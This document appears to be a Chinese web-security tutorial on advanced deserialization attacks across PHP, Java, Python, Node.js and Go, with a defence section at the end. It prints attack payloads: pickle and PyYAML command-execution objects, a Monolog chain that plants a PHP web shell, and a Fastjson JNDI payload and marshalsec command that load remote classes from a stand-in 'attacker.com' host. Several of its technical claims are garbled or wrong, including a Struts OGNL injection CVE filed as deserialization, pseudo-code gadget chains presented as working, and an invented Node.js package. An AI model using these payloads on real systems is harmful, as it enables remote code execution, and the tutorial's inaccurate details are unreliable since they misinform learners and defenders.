Day-047-反序列化漏洞进阶

# Day 45: 反序列化漏洞进阶

> Web 安全系列第 15 天 | 预计阅读时间：40 分钟 | 难度：★★★★★

---

## 清单 目录

1. [反序列化漏洞回顾](#反序列化漏洞回顾)
2. [高级 Gadget 链构造](#高级 gadget 链构造)
3. [框架反序列化漏洞](#框架反序列化漏洞)
4. [Python 反序列化进阶](#python 反序列化进阶)
5. [Node.js 反序列化](#nodejs 反序列化)
6. [Go 反序列化](#go 反序列化)
7. [漏洞挖掘技术](#漏洞挖掘技术)
8. [自动化利用工具](#自动化利用工具)
9. [防护策略与最佳实践](#防护策略与最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 反序列化漏洞回顾

### 基础回顾

**什么是反序列化**：
```
序列化：对象 → 字节流
反序列化：字节流 → 对象

危险点：
- 反序列化过程中自动调用方法
- 用户控制序列化数据
- 存在可利用的类
```

**常见语言**：
```
PHP: unserialize()
Java: ObjectInputStream.readObject()
Python: pickle.loads()
Node.js: unserialize()
Go: gob.Unmarshal()
```

### 漏洞原理

**PHP**：
```php
class Vulnerable {
    public function __wakeup() {
        system($this->cmd);
    }
}

unserialize($_GET['data']);
```

**Java**：
```java
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
// 自动调用 readObject/__readResolve
```

**Python**：
```python
class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

pickle.loads(data)
```

---

## 高级 Gadget 链构造

### PHP Gadget 链

**Laravel Gadget 链**：
```php
<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        
        public function __destruct() {
            $this->events->dispatch($this->event);
        }
    }
}

namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners;
        
        public function dispatch($event) {
            $this->callCustomListener($this->listeners, $event);
        }
        
        protected function callCustomListener($listeners, $event) {
            foreach ($listeners as $listener) {
                $listener[0]($event);
            }
        }
    }
}

// 利用
$dispatcher = new Dispatcher();
$dispatcher->listeners = [['system', 'whoami']];

$broadcast = new PendingBroadcast();
$broadcast->events = $dispatcher;
$broadcast->event = 'test';

echo serialize($broadcast);
?>
```

**Symfony Gadget 链**：
```php
<?php
namespace Symfony\Component\PropertyAccess {
    class PropertyAccessor {
        private $propertyPath;
        
        public function __destruct() {
            $this->getValue($this->propertyPath);
        }
        
        private function getValue($path) {
            // 复杂逻辑可被利用
        }
    }
}
?>
```

**Monolog Gadget 链**：
```php
<?php
namespace Monolog\Handler {
    class BufferHandler {
        protected $handler;
        protected $bufferSize;
        
        public function __destruct() {
            foreach ($this->buffer as $record) {
                $this->handler->handle($record);
            }
        }
    }
    
    class NativeFileHandler {
        public function handle($record) {
            // 可写入文件
        }
    }
}

// 利用
$handler = new NativeFileHandler();
$buffer = new BufferHandler($handler);
$buffer->buffer = [['message' => '<?php system($_GET["c"]); ?>']];

echo serialize($buffer);
?>
```

### Java Gadget 链

**CommonsBeanutils 链**：
```java
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.util.PriorityQueue;

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception {
        // 构造 Transformer
        InvokerTransformer transformer = new InvokerTransformer(
            "exec",
            new Class[] {String.class},
            new Object[] {"whoami"}
        );
        
        // 构造 Comparator
        TransformingComparator comp = new TransformingComparator(transformer);
        BeanComparator comparator = new BeanComparator("lowestSetBit", comp);
        
        // 构造 PriorityQueue
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add(1);
        queue.add(1);
        
        // 反射设置
        // ...
        
        // 序列化
        // 发送 Payload
    }
}
```

**Hibernate 链**：
```java
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;

public class HibernateGadget {
    public static void main(String[] args) throws Exception {
        // 构造 Hibernate Gadget
        // 利用 Hibernate 组件
        // 执行任意代码
    }
}
```

---

## 框架反序列化漏洞

### Spring Framework

**Spring AOP 反序列化**：
```java
// CVE-2016-4970
// Spring Security 中的反序列化漏洞

// Gadget 链：
// AnnotationInvocationHandler
// → AopProxyFactory
// → DefaultAdvisorChainFactory
// → 执行任意代码

// 影响版本：
// Spring Security < 4.2.2
// Spring Framework < 4.3.3
```

**Spring Data Commons**：
```java
// CVE-2018-1273
// Spring Data REST 中的反序列化漏洞

// 利用方式：
// 通过 WebSocket 消息
// 发送恶意序列化对象
// 执行任意代码

// 修复：
// 升级到安全版本
// 禁用反序列化
```

### Apache Struts

**Struts2 反序列化**：
```java
// CVE-2017-5638
// Struts2 文件上传漏洞

// 利用方式：
// Content-Type: %{#cmd='whoami',#mem=...}
// 执行任意代码

// 影响版本：
// Struts 2.3.5 - 2.3.31
// Struts 2.5 - 2.5.10

// 修复：
// 升级到安全版本
```

### Fastjson

**Fastjson 反序列化**：
```java
// CVE-2017-18349
// Fastjson 反序列化漏洞

// Payload：
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/exploit",
  "autoCommit": true
}

// 利用方式：
// JNDI 注入
// 加载远程类
// 执行任意代码

// 修复：
// 升级到安全版本
// 禁用 autoType
// 使用白名单
```

---

## Python 反序列化进阶

### pickle 高级利用

**__reduce__ 方法**：
```python
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())
```

**__reduce_ex__ 方法**：
```python
class Exploit:
    def __reduce_ex__(self, proto):
        return (os.system, ('whoami',))
```

**多步利用**：
```python
import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (
            subprocess.check_output,
            (['whoami'],),
            None,
            None,
            None
        )

payload = pickle.dumps(Exploit())
```

### YAML 反序列化

**PyYAML 漏洞**：
```python
import yaml

# 危险的反序列化
data = yaml.load(user_input)  # 危险！

# Payload：
# !!python/object/apply:os.system
# args: ["whoami"]

# 安全的反序列化
data = yaml.safe_load(user_input)  # 安全
```

**完整利用**：
```python
import yaml

payload = """
!!python/object/apply:subprocess.check_output
args: [['whoami']]
"""

result = yaml.load(payload)
print(result)  # 执行 whoami
```

### Pickle 绕过技术

**协议版本绕过**：
```python
# 不同协议版本
pickle.dumps(obj, protocol=0)  # ASCII
pickle.dumps(obj, protocol=1)  # 旧二进制
pickle.dumps(obj, protocol=2)  # 新二进制
pickle.dumps(obj, protocol=3)  # Python 3
pickle.dumps(obj, protocol=4)  # Python 3.4+

# 某些 WAF 只检测特定协议
# 尝试不同协议版本
```

**编码绕过**：
```python
import pickle
import base64

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()

# 传输 Base64 编码
# 服务器解码后反序列化
```

---

## Node.js 反序列化

### Node.js 序列化

**serialize-javascript**：
```javascript
const serialize = require('serialize-javascript');
const deserialize = require('deserialize-javascript');

// 危险的反序列化
const obj = deserialize(userInput);

// Payload：
// {"__proto__": {"cmd": "whoami"}}
```

### Prototype Pollution

**原型污染**：
```javascript
// 利用反序列化污染原型
const obj = JSON.parse(userInput);

// Payload：
// {"__proto__": {"isAdmin": true}}

// 所有对象都继承 isAdmin
```

**完整利用**：
```javascript
const merge = require('lodash.merge');

let obj = {};
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');

merge(obj, payload);

console.log({}.isAdmin);  // true
```

### Node.js RCE

**child_process 利用**：
```javascript
const { exec } = require('child_process');

class Exploit {
  constructor() {
    exec('whoami', (error, stdout) => {
      console.log(stdout);
    });
  }
}

// 反序列化时自动执行
```

---

## Go 反序列化

### Go gob 序列化

**gob 序列化**：
```go
import "encoding/gob"

// 序列化
var buf bytes.Buffer
enc := gob.NewEncoder(&buf)
enc.Encode(obj)

// 反序列化
dec := gob.NewDecoder(&buf)
dec.Decode(&obj)
```

**漏洞利用**：
```go
// Go 的反序列化漏洞较少
// 但可能存在逻辑漏洞

// 利用方式：
// 控制对象属性
// 影响程序逻辑
// 绕过权限检查
```

### Go JSON 反序列化

**JSON 反序列化**：
```go
import "encoding/json"

// 反序列化
json.Unmarshal(data, &obj)

// 可能的问题：
// 类型混淆
// 属性覆盖
// 逻辑漏洞
```

---

## 漏洞挖掘技术

### 代码审计

**寻找反序列化点**：
```
PHP:
grep -r "unserialize(" .
grep -r "serialize(" .

Java:
grep -r "readObject" .
grep -r "ObjectInputStream" .

Python:
grep -r "pickle.loads" .
grep -r "yaml.load" .

Node.js:
grep -r "deserialize" .
grep -r "JSON.parse" .
```

**寻找 Gadget**：
```
PHP:
grep -r "__wakeup" .
grep -r "__destruct" .
grep -r "__toString" .

Java:
查找 Serializable 类
查找 readObject 方法
查找常用库
```

### 动态测试

**Fuzzing**：
```python
# 序列化 Fuzzing
import pickle

def fuzz_unserialize(data):
    try:
        pickle.loads(data)
    except:
        pass

# 发送不同 Payload
# 观察响应差异
```

**Gadget 发现**：
```python
# 自动发现可用类
import pickle

class Finder:
    def __reduce__(self):
        # 返回类信息
        return (print, ('Found',))

pickle.dumps(Finder())
```

---

## 自动化利用工具

### PHPGGC

**PHP Gadget Chain Constructor**：
```bash
# 安装
git clone https://github.com/ambionics/phpggc
cd phpggc

# 查看可用 Gadget
./phpggc -l

# 生成 Payload
./phpggc Laravel/RCE1 'whoami'
./phpggc Symfony/RCE1 'whoami'
./phpggc WordPress/RCE1 'whoami'

# 编码
./phpggc Laravel/RCE1 'whoami' -b base64
```

### ysoserial

**Java 反序列化利用**：
```bash
# 安装
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 查看可用 Gadget
java -jar ysoserial-all.jar

# 生成 Payload
java -jar ysoserial-all.jar CommonsCollections5 'whoami' > payload.bin
java -jar ysoserial-all.jar Spring1 'whoami' > payload.bin
java -jar ysoserial-all.jar Hibernate1 'whoami' > payload.bin
```

### marshalsec

**Java 反序列化工具**：
```bash
# 安装
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

# 生成 Payload
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.JdbcRowSetImpl ldap://attacker.com/exploit
```

---

## 防护策略与最佳实践

### 代码层面防护

**避免反序列化**：
```
最佳方案是不使用反序列化。

替代方案：
- 使用 JSON
- 使用 Protocol Buffers
- 使用安全的序列化格式
```

**白名单机制**：
```php
// PHP 7+
unserialize($data, ['allowed_classes' => ['User', 'Product']]);

// 仅允许特定类
// 其他类反序列化失败
```

**签名验证**：
```php
// 序列化时签名
$data = serialize($object);
$signature = hash_hmac('sha256', $data, $secret);
$stored = $data . '|' . $signature;

// 反序列化时验证
list($data, $signature) = explode('|', $stored, 2);
if (hash_hmac('sha256', $data, $secret) !== $signature) {
    throw new Exception('Invalid signature');
}
$object = unserialize($data);
```

### 运行时防护

**WAF 规则**：
```
检测反序列化特征：
- PHP: O:\d+:"
- Java: \xac\xed
- Python: \x80\x0[2-4]

阻断可疑请求：
- 包含序列化数据
- 无合法业务场景
- 来源可疑
```

**监控告警**：
```
监控：
- 反序列化调用
- 异常类加载
- 危险方法调用

告警：
- 反序列化失败
- 未知类反序列化
- 频繁反序列化
```

### 框架防护

**Spring**：
```java
// 使用 ObjectInputFilter
ObjectInputFilter filter = info -> {
    String className = info.getDescription();
    if (className.startsWith("com.safe.")) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    return ObjectInputFilter.Status.REJECTED;
};
ois.setObjectInputFilter(filter);
```

**Fastjson**：
```java
// 禁用 autoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 使用白名单
ParserConfig.getGlobalInstance().addAccept("com.safe.");
```

---

## 总结与思考

### 核心要点回顾

1. **反序列化漏洞**
   - 多语言普遍存在
   - 框架依赖复杂
   - Gadget 链利用

2. **高级利用**
   - 框架 Gadget 链
   - 多语言利用
   - 自动化利用

3. **防护策略**
   - 避免反序列化
   - 白名单机制
   - 签名验证

### 深入思考问题

1. **为什么反序列化漏洞难修复**？
   - 业务依赖
   - 兼容性要求
   - 历史代码

2. **云环境下的风险**？
   - 微服务通信
   - 消息队列
   - 新的攻击面

3. **未来防护方向**？
   - 类型安全
   - 白名单机制
   - 运行时保护

### 实战建议

**开发人员**：
1. 避免反序列化
2. 使用安全格式
3. 验证数据来源
4. 实施白名单

**安全人员**：
1. 代码审计
2. 寻找 Gadget
3. 自动化测试
4. 监控告警

**管理层**：
1. 安全培训
2. 依赖管理
3. 补丁管理
4. 应急响应

---

## 参考资料

### 学习资源
- [OWASP Deserialization](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)
- [PHP Deserialization](https://www.owasp.org/index.php/PHP_Object_Injection)
- [Java Deserialization](https://www.owasp.org/index.php/Java_Deserialization_Cheat_Sheet)

### 工具资源
- [ysoserial](https://github.com/frohoff/ysoserial)
- [PHPGGC](https://github.com/ambionics/phpggc)
- [marshalsec](https://github.com/mbechler/marshalsec)

### 书籍推荐
- 《Java 反序列化漏洞分析与利用》
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 46 - API 安全基础

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 45 篇，Web 安全部分第 15 篇，精编版本*